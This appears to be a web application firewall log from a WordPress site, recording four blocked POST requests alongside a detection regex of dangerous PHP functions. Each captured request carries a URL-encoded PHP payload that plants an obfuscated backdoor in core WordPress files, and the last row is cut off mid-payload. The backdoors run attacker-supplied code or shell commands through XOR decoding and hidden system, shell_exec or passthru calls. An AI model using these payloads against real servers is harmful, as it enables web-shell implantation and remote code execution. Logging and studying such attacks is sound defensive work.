["2026-05-12 12:55:07","173.212.252.15","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoIxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-platform:\"Android\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-length:4167\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nmY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:55:20","46.32.255.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI0jvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-length:4167\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\n\nWL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:55:31","38.95.35.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4190\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-simplepie-sanitize-kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%2529%257B%2520%2524dchunk%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ptr%2522%255D%2529%253B%2520%2524reference%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524obj%2529%2520as%2520%2524char%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252046%2529%253B%257D%2520%2524symbol%2520%253D%25200%253B%2520do%2520%257B%2520%2524tkn%2520%253D%2520%2524dchunk%255B%2524symbol%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524symbol%2520%253E%253D%2520count%2528%2524dchunk%2529%2529%2520break%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524tkn%2529%252C%2520is_writable%2528%2524tkn%2529%255D%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520%2522%2524tkn%2522%2520.%2520%2522\/.entity%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524reference%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524parameter_group%253B%2520%2540unlink%2528%2524parameter_group%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524symbol%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 12:55:36","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-walker-category-dropdown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524framework7%2520%253D%2520%2522pc%255Cx6Cos%255Cx65%2522%253B%2520%2524framework2%2520%253D%2520%2522shell_%255Cx65%255Cx78%255Cx65%255Cx63%2522%253B%2520%2524framework5%2520%253D%2520%2522%255Cx70ope%255Cx6E%2522%253B%2520%2524framework1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524token_parser_engine%2520%253D%2520%2522h%255Cx65x%255Cx32%255Cx62%255Cx69n%2522%253B%2520%2524framework6%2520%253D%2520%2522stream%255Cx5Fg%255Cx65t%255Cx5F%255Cx63o%255Cx6E%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524framework3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524framework4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2520%2528%2520%2524item%2520%252C%2520%2524ptr%2520%2529%2520%257B%2520%2524hld%2520%253D%2520%2527%2527%2520%253B%2520%2524p%253D0%253B%2520while%2528%2524p%253Cstrlen%2528%2524item%2529%2529%257B%2520%2524hld.%253Dchr%2528ord%2528%2524item%255B%2524p%255D%2529%255E%2524ptr%2529%253B%2520%2524p%252B%252B%253B%2520%257D%2520return%2520%2524hld%253B%2520%257D%2520%2524value%2520%253D%2520%2524token_parser_engine%2528%2524_POST%255B%2522v%255Cx61%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520sync_manager%2528%2524value%252C%252034%2529%253B%2520if%2520%2528function_exists%2528%2524framework1%2529%2529%2520%257B%2520%2524framework1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524framework2%2529%2529%2520%257B%2520print%2520%2524framework2%2528%2524value%2529%253B%2520